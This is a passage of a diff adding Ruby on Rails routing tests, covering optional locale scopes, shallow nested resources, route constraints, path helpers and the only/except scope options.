+ root :to => "account#index"
+ end
+ end
+
+ assert_equal '/account', account_root_path
+ get '/account'
+ assert_equal 'account/account#index', @response.body
+ end
+
+ def test_optional_scoped_root
+ draw do
+ scope '(:locale)', :locale => /en|pl/ do
+ root :to => 'projects#index'
+ end
+ end
+
+ assert_equal '/en', root_path("en")
+ get '/en'
+ assert_equal 'projects#index', @response.body
+ end
+
+ def test_optional_scoped_path
+ draw do
+ scope '(:locale)', :locale => /en|pl/ do
+ resources :descriptions
+ end
+ end
+
+ assert_equal '/en/descriptions', descriptions_path("en")
+ assert_equal '/descriptions', descriptions_path(nil)
+ assert_equal '/en/descriptions/1', description_path("en", 1)
+ assert_equal '/descriptions/1', description_path(nil, 1)
+
+ get '/en/descriptions'
+ assert_equal 'descriptions#index', @response.body
+
+ get '/descriptions'
+ assert_equal 'descriptions#index', @response.body
+
+ get '/en/descriptions/1'
+ assert_equal 'descriptions#show', @response.body
+
+ get '/descriptions/1'
+ assert_equal 'descriptions#show', @response.body
+ end
+
+ def test_nested_optional_scoped_path
+ draw do
+ namespace :admin do
+ scope '(:locale)', :locale => /en|pl/ do
+ resources :descriptions
+ end
+ end
+ end
+
+ assert_equal '/admin/en/descriptions', admin_descriptions_path("en")
+ assert_equal '/admin/descriptions', admin_descriptions_path(nil)
+ assert_equal '/admin/en/descriptions/1', admin_description_path("en", 1)
+ assert_equal '/admin/descriptions/1', admin_description_path(nil, 1)
+
+ get '/admin/en/descriptions'
+ assert_equal 'admin/descriptions#index', @response.body
+
+ get '/admin/descriptions'
+ assert_equal 'admin/descriptions#index', @response.body
+
+ get '/admin/en/descriptions/1'
+ assert_equal 'admin/descriptions#show', @response.body
+
+ get '/admin/descriptions/1'
+ assert_equal 'admin/descriptions#show', @response.body
+ end
+
+ def test_nested_optional_path_shorthand
+ draw do
+ scope '(:locale)', :locale => /en|pl/ do
+ get "registrations/new"
+ end
+ end
+
+ get '/registrations/new'
+ assert_nil @request.params[:locale]
+
+ get '/en/registrations/new'
+ assert_equal 'en', @request.params[:locale]
+ end
+
+ def test_default_string_params
+ draw do
+ get 'inline_pages/(:id)', :to => 'pages#show', :id => 'home'
+ get 'default_pages/(:id)', :to => 'pages#show', :defaults => { :id => 'home' }
+
+ defaults :id => 'home' do
+ get 'scoped_pages/(:id)', :to => 'pages#show'
+ end
+ end
+
+ get '/inline_pages'
+ assert_equal 'home', @request.params[:id]
+
+ get '/default_pages'
+ assert_equal 'home', @request.params[:id]
+
+ get '/scoped_pages'
+ assert_equal 'home', @request.params[:id]
+ end
+
+ def test_default_integer_params
+ draw do
+ get 'inline_pages/(:page)', to: 'pages#show', page: 1
+ get 'default_pages/(:page)', to: 'pages#show', defaults: { page: 1 }
+
+ defaults page: 1 do
+ get 'scoped_pages/(:page)', to: 'pages#show'
+ end
+ end
+
+ get '/inline_pages'
+ assert_equal 1, @request.params[:page]
+
+ get '/default_pages'
+ assert_equal 1, @request.params[:page]
+
+ get '/scoped_pages'
+ assert_equal 1, @request.params[:page]
+ end
+
+ def test_resource_constraints
+ draw do
+ resources :products, :constraints => { :id => /\d{4}/ } do
+ root :to => "products#root"
+ get :favorite, :on => :collection
+ resources :images
+ end
+
+ resource :dashboard, :constraints => { :ip => /192\.168\.1\.\d{1,3}/ }
+ end
+
+ get '/products/1'
+ assert_equal 'pass', @response.headers['X-Cascade']
+ get '/products'
+ assert_equal 'products#root', @response.body
+ get '/products/favorite'
+ assert_equal 'products#favorite', @response.body
+ get '/products/0001'
+ assert_equal 'products#show', @response.body
+
+ get '/products/1/images'
+ assert_equal 'pass', @response.headers['X-Cascade']
+ get '/products/0001/images'
+ assert_equal 'images#index', @response.body
+ get '/products/0001/images/0001'
+ assert_equal 'images#show', @response.body
+
+ get '/dashboard', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+ assert_equal 'pass', @response.headers['X-Cascade']
+ get '/dashboard', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+ assert_equal 'dashboards#show', @response.body
+ end
+
+ def test_root_works_in_the_resources_scope
+ draw do
+ resources :products do
+ root :to => "products#root"
+ end
+ end
+
+ get '/products'
+ assert_equal 'products#root', @response.body
+ assert_equal '/products', products_root_path
+ end
+
+ def test_module_scope
+ draw do
+ resource :token, :module => :api
+ end
+
+ get '/token'
+ assert_equal 'api/tokens#show', @response.body
+ assert_equal '/token', token_path
+ end
+
+ def test_path_scope
+ draw do
+ scope :path => 'api' do
+ resource :me
+ get '/' => 'mes#index'
+ end
+ end
+
+ get '/api/me'
+ assert_equal 'mes#show', @response.body
+ assert_equal '/api/me', me_path
+
+ get '/api'
+ assert_equal 'mes#index', @response.body
+ end
+
+ def test_symbol_scope
+ draw do
+ scope :path => 'api' do
+ scope :v2 do
+ resource :me, as: 'v2_me'
+ get '/' => 'mes#index'
+ end
+
+ scope :v3, :admin do
+ resource :me, as: 'v3_me'
+ end
+ end
+ end
+
+ get '/api/v2/me'
+ assert_equal 'mes#show', @response.body
+ assert_equal '/api/v2/me', v2_me_path
+
+ get '/api/v2'
+ assert_equal 'mes#index', @response.body
+
+ get '/api/v3/admin/me'
+ assert_equal 'mes#show', @response.body
+ end
+
+ def test_url_generator_for_generic_route
+ draw do
+ get "whatever/:controller(/:action(/:id))"
+ end
+
+ get 'whatever/foo/bar'
+ assert_equal 'foo#bar', @response.body
+
+ assert_equal 'http://www.example.com/whatever/foo/bar/1',
+ url_for(:controller => "foo", :action => "bar", :id => 1)
+ end
+
+ def test_url_generator_for_namespaced_generic_route
+ draw do
+ get "whatever/:controller(/:action(/:id))", :id => /\d+/
+ end
+
+ get 'whatever/foo/bar/show'
+ assert_equal 'foo/bar#show', @response.body
+
+ get 'whatever/foo/bar/show/1'
+ assert_equal 'foo/bar#show', @response.body
+
+ assert_equal 'http://www.example.com/whatever/foo/bar/show',
+ url_for(:controller => "foo/bar", :action => "show")
+
+ assert_equal 'http://www.example.com/whatever/foo/bar/show/1',
+ url_for(:controller => "foo/bar", :action => "show", :id => '1')
+ end
+
+ def test_resource_new_actions
+ draw do
+ resources :replies do
+ new do
+ post :preview
+ end
+ end
+
+ scope 'pt', :as => 'pt' do
+ resources :projects, :path_names => { :new => 'novo' }, :path => 'projetos' do
+ post :preview, :on => :new
+ end
+
+ resource :admin, :path_names => { :new => 'novo' }, :path => 'administrador' do
+ post :preview, :on => :new
+ end
+
+ resources :products, :path_names => { :new => 'novo' } do
+ new do
+ post :preview
+ end
+ end
+ end
+
+ resource :profile do
+ new do
+ post :preview
+ end
+ end
+ end
+
+ assert_equal '/replies/new/preview', preview_new_reply_path
+ assert_equal '/pt/projetos/novo/preview', preview_new_pt_project_path
+ assert_equal '/pt/administrador/novo/preview', preview_new_pt_admin_path
+ assert_equal '/pt/products/novo/preview', preview_new_pt_product_path
+ assert_equal '/profile/new/preview', preview_new_profile_path
+
+ post '/replies/new/preview'
+ assert_equal 'replies#preview', @response.body
+
+ post '/pt/projetos/novo/preview'
+ assert_equal 'projects#preview', @response.body
+
+ post '/pt/administrador/novo/preview'
+ assert_equal 'admins#preview', @response.body
+
+ post '/pt/products/novo/preview'
+ assert_equal 'products#preview', @response.body
+
+ post '/profile/new/preview'
+ assert_equal 'profiles#preview', @response.body
+ end
+
+ def test_resource_merges_options_from_scope
+ draw do
+ scope :only => :show do
+ resource :account
+ end
+ end
+
+ assert_raise(NoMethodError) { new_account_path }
+
+ get '/account/new'
+ assert_equal 404, status
+ end
+
+ def test_resources_merges_options_from_scope
+ draw do
+ scope :only => [:index, :show] do
+ resources :products do
+ resources :images
+ end
+ end
+ end
+
+ assert_raise(NoMethodError) { edit_product_path('1') }
+
+ get '/products/1/edit'
+ assert_equal 404, status
+
+ assert_raise(NoMethodError) { edit_product_image_path('1', '2') }
+
+ post '/products/1/images/2/edit'
+ assert_equal 404, status
+ end
+
+ def test_shallow_nested_resources
+ draw do
+ shallow do
+ namespace :api do
+ resources :teams do
+ resources :players
+ resource :captain
+ end
+ end
+ end
+
+ resources :threads, :shallow => true do
+ resource :owner
+ resources :messages do
+ resources :comments do
+ member do
+ post :preview
+ end
+ end
+ end
+ end
+ end
+
+ get '/api/teams'
+ assert_equal 'api/teams#index', @response.body
+ assert_equal '/api/teams', api_teams_path
+
+ get '/api/teams/new'
+ assert_equal 'api/teams#new', @response.body
+ assert_equal '/api/teams/new', new_api_team_path
+
+ get '/api/teams/1'
+ assert_equal 'api/teams#show', @response.body
+ assert_equal '/api/teams/1', api_team_path(:id => '1')
+
+ get '/api/teams/1/edit'
+ assert_equal 'api/teams#edit', @response.body
+ assert_equal '/api/teams/1/edit', edit_api_team_path(:id => '1')
+
+ get '/api/teams/1/players'
+ assert_equal 'api/players#index', @response.body
+ assert_equal '/api/teams/1/players', api_team_players_path(:team_id => '1')
+
+ get '/api/teams/1/players/new'
+ assert_equal 'api/players#new', @response.body
+ assert_equal '/api/teams/1/players/new', new_api_team_player_path(:team_id => '1')
+
+ get '/api/players/2'
+ assert_equal 'api/players#show', @response.body
+ assert_equal '/api/players/2', api_player_path(:id => '2')
+
+ get '/api/players/2/edit'
+ assert_equal 'api/players#edit', @response.body
+ assert_equal '/api/players/2/edit', edit_api_player_path(:id => '2')
+
+ get '/api/teams/1/captain'
+ assert_equal 'api/captains#show', @response.body
+ assert_equal '/api/teams/1/captain', api_team_captain_path(:team_id => '1')
+
+ get '/api/teams/1/captain/new'
+ assert_equal 'api/captains#new', @response.body
+ assert_equal '/api/teams/1/captain/new', new_api_team_captain_path(:team_id => '1')
+
+ get '/api/teams/1/captain/edit'
+ assert_equal 'api/captains#edit', @response.body
+ assert_equal '/api/teams/1/captain/edit', edit_api_team_captain_path(:team_id => '1')
+
+ get '/threads'
+ assert_equal 'threads#index', @response.body
+ assert_equal '/threads', threads_path
+
+ get '/threads/new'
+ assert_equal 'threads#new', @response.body
+ assert_equal '/threads/new', new_thread_path
+
+ get '/threads/1'
+ assert_equal 'threads#show', @response.body
+ assert_equal '/threads/1', thread_path(:id => '1')
+
+ get '/threads/1/edit'
+ assert_equal 'threads#edit', @response.body
+ assert_equal '/threads/1/edit', edit_thread_path(:id => '1')
+
+ get '/threads/1/owner'
+ assert_equal 'owners#show', @response.body
+ assert_equal '/threads/1/owner', thread_owner_path(:thread_id => '1')
+
+ get '/threads/1/messages'
+ assert_equal 'messages#index', @response.body
+ assert_equal '/threads/1/messages', thread_messages_path(:thread_id => '1')
+
+ get '/threads/1/messages/new'
+ assert_equal 'messages#new', @response.body
+ assert_equal '/threads/1/messages/new', new_thread_message_path(:thread_id => '1')
+
+ get '/messages/2'
+ assert_equal 'messages#show', @response.body
+ assert_equal '/messages/2', message_path(:id => '2')
+
+ get '/messages/2/edit'
+ assert_equal 'messages#edit', @response.body
+ assert_equal '/messages/2/edit', edit_message_path(:id => '2')
+
+ get '/messages/2/comments'
+ assert_equal 'comments#index', @response.body
+ assert_equal '/messages/2/comments', message_comments_path(:message_id => '2')
+
+ get '/messages/2/comments/new'
+ assert_equal 'comments#new', @response.body
+ assert_equal '/messages/2/comments/new', new_message_comment_path(:message_id => '2')
+
+ get '/comments/3'
+ assert_equal 'comments#show', @response.body
+ assert_equal '/comments/3', comment_path(:id => '3')
+
+ get '/comments/3/edit'
+ assert_equal 'comments#edit', @response.body
+ assert_equal '/comments/3/edit', edit_comment_path(:id => '3')
+
+ post '/comments/3/preview'
+ assert_equal 'comments#preview', @response.body
+ assert_equal '/comments/3/preview', preview_comment_path(:id => '3')
+ end
+
+ def test_shallow_nested_resources_within_scope
+ draw do
+ scope '/hello' do
+ shallow do
+ resources :notes do
+ resources :trackbacks
+ end
+ end
+ end
+ end
+
+ get '/hello/notes/1/trackbacks'
+ assert_equal 'trackbacks#index', @response.body
+ assert_equal '/hello/notes/1/trackbacks', note_trackbacks_path(:note_id => 1)
+
+ get '/hello/notes/1/edit'
+ assert_equal 'notes#edit', @response.body
+ assert_equal '/hello/notes/1/edit', edit_note_path(:id => '1')
+
+ get '/hello/notes/1/trackbacks/new'
+ assert_equal 'trackbacks#new', @response.body
+ assert_equal '/hello/notes/1/trackbacks/new', new_note_trackback_path(:note_id => 1)
+
+ get '/hello/trackbacks/1'
+ assert_equal 'trackbacks#show', @response.body
+ assert_equal '/hello/trackbacks/1', trackback_path(:id => '1')
+
+ get '/hello/trackbacks/1/edit'
+ assert_equal 'trackbacks#edit', @response.body
+ assert_equal '/hello/trackbacks/1/edit', edit_trackback_path(:id => '1')
+
+ put '/hello/trackbacks/1'
+ assert_equal 'trackbacks#update', @response.body
+
+ post '/hello/notes/1/trackbacks'
+ assert_equal 'trackbacks#create', @response.body
+
+ delete '/hello/trackbacks/1'
+ assert_equal 'trackbacks#destroy', @response.body
+
+ get '/hello/notes'
+ assert_equal 'notes#index', @response.body
+
+ post '/hello/notes'
+ assert_equal 'notes#create', @response.body
+
+ get '/hello/notes/new'
+ assert_equal 'notes#new', @response.body
+ assert_equal '/hello/notes/new', new_note_path
+
+ get '/hello/notes/1'
+ assert_equal 'notes#show', @response.body
+ assert_equal '/hello/notes/1', note_path(:id => 1)
+
+ put '/hello/notes/1'
+ assert_equal 'notes#update', @response.body
+
+ delete '/hello/notes/1'
+ assert_equal 'notes#destroy', @response.body
+ end
+
+ def test_custom_resource_routes_are_scoped
+ draw do
+ resources :customers do
+ get :recent, :on => :collection
+ get "profile", :on => :member
+ get "secret/profile" => "customers#secret", :on => :member
+ post "preview" => "customers#preview", :as => :another_preview, :on => :new
+ resource :avatar do
+ get "thumbnail" => "avatars#thumbnail", :as => :thumbnail, :on => :member
+ end
+ resources :invoices do
+ get "outstanding" => "invoices#outstanding", :on => :collection
+ get "overdue", :to => :overdue, :on => :collection
+ get "print" => "invoices#print", :as => :print, :on => :member
+ post "preview" => "invoices#preview", :as => :preview, :on => :new
+ end
+ resources :notes, :shallow => true do
+ get "preview" => "notes#preview", :as => :preview, :on => :new
+ get "print" => "notes#print", :as => :print, :on => :member
+ end
+ end
+
+ namespace :api do
+ resources :customers do
+ get "recent" => "customers#recent", :as => :recent, :on => :collection
+ get "profile" => "customers#profile", :as => :profile, :on => :member
+ post "preview" => "customers#preview", :as => :preview, :on => :new
+ end
+ end
+ end
+
+ assert_equal '/customers/recent', recent_customers_path
+ assert_equal '/customers/1/profile', profile_customer_path(:id => '1')
+ assert_equal '/customers/1/secret/profile', secret_profile_customer_path(:id => '1')
+ assert_equal '/customers/new/preview', another_preview_new_customer_path
+ assert_equal '/customers/1/avatar/thumbnail.jpg', thumbnail_customer_avatar_path(:customer_id => '1', :format => :jpg)
+ assert_equal '/customers/1/invoices/outstanding', outstanding_customer_invoices_path(:customer_id => '1')
+ assert_equal '/customers/1/invoices/2/print', print_customer_invoice_path(:customer_id => '1', :id => '2')
+ assert_equal '/customers/1/invoices/new/preview', preview_new_customer_invoice_path(:customer_id => '1')
+ assert_equal '/customers/1/notes/new/preview', preview_new_customer_note_path(:customer_id => '1')
+ assert_equal '/notes/1/print', print_note_path(:id => '1')
+ assert_equal '/api/customers/recent', recent_api_customers_path
+ assert_equal '/api/customers/1/profile', profile_api_customer_path(:id => '1')
+ assert_equal '/api/customers/new/preview', preview_new_api_customer_path
+
+ get '/customers/1/invoices/overdue'
+ assert_equal 'invoices#overdue', @response.body
+
+ get '/customers/1/secret/profile'
+ assert_equal 'customers#secret', @response.body
+ end
+
+ def test_shallow_nested_routes_ignore_module
+ draw do
+ scope :module => :api do
+ resources :errors, :shallow => true do
+ resources :notices
+ end
+ end
+ end
+
+ get '/errors/1/notices'
+ assert_equal 'api/notices#index', @response.body
+ assert_equal '/errors/1/notices', error_notices_path(:error_id => '1')
+
+ get '/notices/1'
+ assert_equal 'api/notices#show', @response.body
+ assert_equal '/notices/1', notice_path(:id => '1')
+ end
+
+ def test_non_greedy_regexp
+ draw do
+ namespace :api do
+ scope(':version', :version => /.+/) do
+ resources :users, :id => /.+?/, :format => /json|xml/
+ end
+ end
+ end
+
+ get '/api/1.0/users'
+ assert_equal 'api/users#index', @response.body
+ assert_equal '/api/1.0/users', api_users_path(:version => '1.0')
+
+ get '/api/1.0/users.json'
+ assert_equal 'api/users#index', @response.body
+ assert_equal true, @request.format.json?
+ assert_equal '/api/1.0/users.json', api_users_path(:version => '1.0', :format => :json)
+
+ get '/api/1.0/users/first.last'
+ assert_equal 'api/users#show', @response.body
+ assert_equal 'first.last', @request.params[:id]
+ assert_equal '/api/1.0/users/first.last', api_user_path(:version => '1.0', :id => 'first.last')
+
+ get '/api/1.0/users/first.last.xml'
+ assert_equal 'api/users#show', @response.body
+ assert_equal 'first.last', @request.params[:id]
+ assert_equal true, @request.format.xml?
+ assert_equal '/api/1.0/users/first.last.xml', api_user_path(:version => '1.0', :id => 'first.last', :format => :xml)
+ end
+
+ def test_glob_parameter_accepts_regexp
+ draw do
+ get '/:locale/*file.:format', :to => 'files#show', :file => /path\/to\/existing\/file/
+ end
+
+ get '/en/path/to/existing/file.html'
+ assert_equal 200, @response.status
+ end
+
+ def test_resources_controller_name_is_not_pluralized
+ draw do
+ resources :content
+ end
+
+ get '/content'
+ assert_equal 'content#index', @response.body
+ end
+
+ def test_url_generator_for_optional_prefix_dynamic_segment
+ draw do
+ get "(/:username)/followers" => "followers#index"
+ end
+
+ get '/bob/followers'
+ assert_equal 'followers#index', @response.body
+ assert_equal 'http://www.example.com/bob/followers',
+ url_for(:controller => "followers", :action => "index", :username => "bob")
+
+ get '/followers'
+ assert_equal 'followers#index', @response.body
+ assert_equal 'http://www.example.com/followers',
+ url_for(:controller => "followers", :action => "index", :username => nil)
+ end
+
+ def test_url_generator_for_optional_suffix_static_and_dynamic_segment
+ draw do
+ get "/groups(/user/:username)" => "groups#index"
+ end
+
+ get '/groups/user/bob'
+ assert_equal 'groups#index', @response.body
+ assert_equal 'http://www.example.com/groups/user/bob',
+ url_for(:controller => "groups", :action => "index", :username => "bob")
+
+ get '/groups'
+ assert_equal 'groups#index', @response.body
+ assert_equal 'http://www.example.com/groups',
+ url_for(:controller => "groups", :action => "index", :username => nil)
+ end
+
+ def test_url_generator_for_optional_prefix_static_and_dynamic_segment
+ draw do
+ get "(/user/:username)/photos" => "photos#index"
+ end
+
+ get 'user/bob/photos'
+ assert_equal 'photos#index', @response.body
+ assert_equal 'http://www.example.com/user/bob/photos',
+ url_for(:controller => "photos", :action => "index", :username => "bob")
+
+ get 'photos'
+ assert_equal 'photos#index', @response.body
+ assert_equal 'http://www.example.com/photos',
+ url_for(:controller => "photos", :action => "index", :username => nil)
+ end
+
+ def test_url_recognition_for_optional_static_segments
+ draw do
+ scope '(groups)' do
+ scope '(discussions)' do
+ resources :messages
+ end
+ end
+ end
+
+ get '/groups/discussions/messages'
+ assert_equal 'messages#index', @response.body
+
+ get '/groups/discussions/messages/1'
+ assert_equal 'messages#show', @response.body
+
+ get '/groups/messages'
+ assert_equal 'messages#index', @response.body
+
+ get '/groups/messages/1'
+ assert_equal 'messages#show', @response.body
+
+ get '/discussions/messages'
+ assert_equal 'messages#index', @response.body
+
+ get '/discussions/messages/1'
+ assert_equal 'messages#show', @response.body
+
+ get '/messages'
+ assert_equal 'messages#index', @response.body
+
+ get '/messages/1'
+ assert_equal 'messages#show', @response.body
+ end
+
+ def test_router_removes_invalid_conditions
+ draw do
+ scope :constraints => { :id => /\d+/ } do
+ get '/tickets', :to => 'tickets#index', :as => :tickets
+ end
+ end
+
+ get '/tickets'
+ assert_equal 'tickets#index', @response.body
+ assert_equal '/tickets', tickets_path
+ end
+
+ def test_constraints_are_merged_from_scope
+ draw do
+ scope :constraints => { :id => /\d{4}/ } do
+ resources :movies do
+ resources :reviews
+ resource :trailer
+ end
+ end
+ end
+
+ get '/movies/0001'
+ assert_equal 'movies#show', @response.body
+ assert_equal '/movies/0001', movie_path(:id => '0001')
+
+ get '/movies/00001'
+ assert_equal 'Not Found', @response.body
+ assert_raises(ActionController::UrlGenerationError){ movie_path(:id => '00001') }
+
+ get '/movies/0001/reviews'
+ assert_equal 'reviews#index', @response.body
+ assert_equal '/movies/0001/reviews', movie_reviews_path(:movie_id => '0001')
+
+ get '/movies/00001/reviews'
+ assert_equal 'Not Found', @response.body
+ assert_raises(ActionController::UrlGenerationError){ movie_reviews_path(:movie_id => '00001') }
+
+ get '/movies/0001/reviews/0001'
+ assert_equal 'reviews#show', @response.body
+ assert_equal '/movies/0001/reviews/0001', movie_review_path(:movie_id => '0001', :id => '0001')
+
+ get '/movies/00001/reviews/0001'
+ assert_equal 'Not Found', @response.body
+ assert_raises(ActionController::UrlGenerationError){ movie_path(:movie_id => '00001', :id => '00001') }
+
+ get '/movies/0001/trailer'
+ assert_equal 'trailers#show', @response.body
+ assert_equal '/movies/0001/trailer', movie_trailer_path(:movie_id => '0001')
+
+ get '/movies/00001/trailer'
+ assert_equal 'Not Found', @response.body
+ assert_raises(ActionController::UrlGenerationError){ movie_trailer_path(:movie_id => '00001') }
+ end
+
+ def test_only_should_be_read_from_scope
+ draw do
+ scope :only => [:index, :show] do
+ namespace :only do
+ resources :clubs do
+ resources :players
+ resource :chairman
+ end
+ end
+ end
+ end
+
+ get '/only/clubs'
+ assert_equal 'only/clubs#index', @response.body
+ assert_equal '/only/clubs', only_clubs_path
+
+ get '/only/clubs/1/edit'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { edit_only_club_path(:id => '1') }
+
+ get '/only/clubs/1/players'
+ assert_equal 'only/players#index', @response.body
+ assert_equal '/only/clubs/1/players', only_club_players_path(:club_id => '1')
+
+ get '/only/clubs/1/players/2/edit'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { edit_only_club_player_path(:club_id => '1', :id => '2') }
+
+ get '/only/clubs/1/chairman'
+ assert_equal 'only/chairmen#show', @response.body
+ assert_equal '/only/clubs/1/chairman', only_club_chairman_path(:club_id => '1')
+
+ get '/only/clubs/1/chairman/edit'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { edit_only_club_chairman_path(:club_id => '1') }
+ end
+
+ def test_except_should_be_read_from_scope
+ draw do
+ scope :except => [:new, :create, :edit, :update, :destroy] do
+ namespace :except do
+ resources :clubs do
+ resources :players
+ resource :chairman
+ end
+ end
+ end
+ end
+
+ get '/except/clubs'
+ assert_equal 'except/clubs#index', @response.body
+ assert_equal '/except/clubs', except_clubs_path
+
+ get '/except/clubs/1/edit'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { edit_except_club_path(:id => '1') }
+
+ get '/except/clubs/1/players'
+ assert_equal 'except/players#index', @response.body
+ assert_equal '/except/clubs/1/players', except_club_players_path(:club_id => '1')
+
+ get '/except/clubs/1/players/2/edit'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { edit_except_club_player_path(:club_id => '1', :id => '2') }
+
+ get '/except/clubs/1/chairman'
+ assert_equal 'except/chairmen#show', @response.body
+ assert_equal '/except/clubs/1/chairman', except_club_chairman_path(:club_id => '1')
+
+ get '/except/clubs/1/chairman/edit'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { edit_except_club_chairman_path(:club_id => '1') }
+ end
+
+ def test_only_option_should_override_scope
+ draw do
+ scope :only => :show do
+ namespace :only do
+ resources :sectors, :only => :index
+ end
+ end
+ end
+
+ get '/only/sectors'
+ assert_equal 'only/sectors#index', @response.body
+ assert_equal '/only/sectors', only_sectors_path
+
+ get '/only/sectors/1'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { only_sector_path(:id => '1') }
+ end
+
+ def test_only_option_should_not_inherit
+ draw do
+ scope :only => :show do
+ namespace :only do
+ resources :sectors, :only => :index do
+ resources :companies
+ resource :leader
+ end
+ end
+ end
+ end
+
+ get '/only/sectors/1/companies/2'
+ assert_equal 'only/companies#show', @response.body
+ assert_equal '/only/sectors/1/companies/2', only_sector_company_path(:sector_id => '1', :id => '2')
+
+ get '/only/sectors/1/leader'
+ assert_equal 'only/leaders#show', @response.body
+ assert_equal '/only/sectors/1/leader', only_sector_leader_path(:sector_id => '1')
+ end
+
+ def test_except_option_should_override_scope
+ draw do
+ scope :except => :index do
+ namespace :except do
+ resources :sectors, :except => [:show, :update, :destroy]
+ end
+ end
+ end
+
+ get '/except/sectors'
+ assert_equal 'except/sectors#index', @response.body
+ assert_equal '/except/sectors', except_sectors_path
+
+ get '/except/sectors/1'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { except_sector_path(:id => '1') }
+ end
+
+ def test_except_option_should_not_inherit
+ draw do
+ scope :except => :index do
+ namespace :except do
+ resources :sectors, :except => [:show, :update, :destroy] do
+ resources :companies
+ resource :leader
+ end
+ end
+ end
+ end
+
+ get '/except/sectors/1/companies/2'
+ assert_equal 'except/companies#show', @response.body
+ assert_equal '/except/sectors/1/companies/2', except_sector_company_path(:sector_id => '1', :id => '2')
+
+ get '/except/sectors/1/leader'
+ assert_equal 'except/leaders#show', @response.body
+ assert_equal '/except/sectors/1/leader', except_sector_leader_path(:sector_id => '1')
+ end
+
+ def test_except_option_should_override_scoped_only
+ draw do
+ scope :only => :show do
+ namespace :only do
+ resources :sectors, :only => :index do
+ resources :managers, :except => [:show, :update, :destroy]
+ end
+ end
+ end
+ end
+
+ get '/only/sectors/1/managers'
+ assert_equal 'only/managers#index', @response.body
+ assert_equal '/only/sectors/1/managers', only_sector_managers_path(:sector_id => '1')
+
+ get '/only/sectors/1/managers/2'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { only_sector_manager_path(:sector_id => '1', :id => '2') }
+ end
+
+ def test_only_option_should_override_scoped_except
+ draw do
+ scope :except => :index do
+ namespace :except do
+ resources :sectors, :except => [:show, :update, :destroy] do
+ resources :managers, :only => :index
+ end
+ end
+ end
+ end
+
+ get '/except/sectors/1/managers'
+ assert_equal 'except/managers#index', @response.body
+ assert_equal '/except/sectors/1/managers', except_sector_managers_path(:sector_id => '1')
+
+ get '/except/sectors/1/managers/2'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { except_sector_manager_path(:sector_id => '1', :id => '2') }
+ end
+
+ def test_only_scope_should_override_parent_scope
+ draw do
+ scope :only => :show do
+ namespace :only do
+ resources :sectors, :only => :index do
+ resources :companies do
+ scope :only => :index do
+ resources :divisions
+ end
+ end
+ end
+ end
+ end
+ end
+
+ get '/only/sectors/1/companies/2/divisions'
+ assert_equal 'only/divisions#index', @response.body
+ assert_equal '/only/sectors/1/companies/2/divisions', only_sector_company_divisions_path(:sector_id => '1', :company_id => '2')
+
+ get '/only/sectors/1/companies/2/divisions/3'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { only_sector_company_division_path(:sector_id => '1', :company_id => '2', :id => '3') }
+ end
+
+ def test_except_scope_should_override_parent_scope
+ draw do
+ scope :except => :index do
+ namespace :except do
+ resources :sectors, :except => [:show, :update, :destroy] do
+ resources :companies do
+ scope :except => [:show, :update, :destroy] do
+ resources :divisions
+ end
+ end
+ end
+ end
+ end
+ end
+
+ get '/except/sectors/1/companies/2/divisions'
+ assert_equal 'except/divisions#index', @response.body
+ assert_equal '/except/sectors/1/companies/2/divisions', except_sector_company_divisions_path(:sector_id => '1', :company_id => '2')
+
+ get '/except/sectors/1/companies/2/divisions/3'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { except_sector_company_division_path(:sector_id => '1', :company_id => '2', :id => '3') }
+ end
+
+ def test_except_scope_should_override_parent_only_scope
+ draw do
+ scope :only => :show do
+ namespace :only do
+ resources :sectors, :only => :index do
+ resources :companies do
+ scope :except => [:show, :update, :destroy] do
+ resources :departments
+ end
+ end
+ end
+ end
+ end
+ end
+
+ get '/only/sectors/1/companies/2/departments'
+ assert_equal 'only/departments#index', @response.body
+ assert_equal '/only/sectors/1/companies/2/departments', only_sector_company_departments_path(:sector_id => '1', :company_id => '2')
+
+ get '/only/sectors/1/companies/2/departments/3'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { only_sector_company_department_path(:sector_id => '1', :company_id => '2', :id => '3') }
+ end
+
+ def test_only_scope_should_override_parent_except_scope
+ draw do
+ scope :except => :index do
+ namespace :except do
+ resources :sectors, :except => [:show, :update, :destroy] do
+ resources :companies do
+ scope :only => :index do
+ resources :departments
+ end
+ end
+ end
+ end
+ end
+ end
+
+ get '/except/sectors/1/companies/2/departments'
+ assert_equal 'except/departments#index', @response.body
+ assert_equal '/except/sectors/1/companies/2/departments', except_sector_company_departments_path(:sector_id => '1', :company_id => '2')
+
+ get '/except/sectors/1/companies/2/departments/3'
+ assert_equal 'Not Found', @response.body
+ assert_raise(NoMethodError) { except_sector_company_department_path(:sector_id => '1', :company_id => '2', :id => '3') }
+ end
+
+ def test_resources_are_not_pluralized
+ draw do
+ namespace :transport do
+ resources :taxis
+ end
+ end
+
+ get '/transport/taxis'
+ assert_equal 'transport/taxis#index', @response.body
+ assert_equal '/transport/taxis', transport_taxis_path
+
+ get '/transport/taxis/new'
+ assert_equal 'transport/taxis#new', @response.body
+ assert_equal '/transport/taxis/new', new_transport_taxi_path
+
+ post '/transport/taxis'
+ assert_equal 'transport/taxis#create', @response.body
+
+ get '/transport/taxis/1'
+ assert_equal 'transport/taxis#show', @response.body
+ assert_equal '/transport/taxis/1', transport_taxi_path(:id => '1')
+
+ get '/transport/taxis/1/edit'
+ assert_equal 'transport/taxis#edit', @response.body
+ assert_equal '/transport/taxis/1/edit', edit_transport_taxi_path(:id => '1')
+
+ put '/transport/taxis/1'
+ assert_equal 'transport/taxis#update', @response.body
+
+ delete '/transport/taxis/1'
+ assert_equal 'transport/taxis#destroy', @response.body
+ end
+
+ def test_singleton_resources_are_not_singularized
+ draw do
+ namespace :medical do
+ resource :taxis
+ end
+ end
+
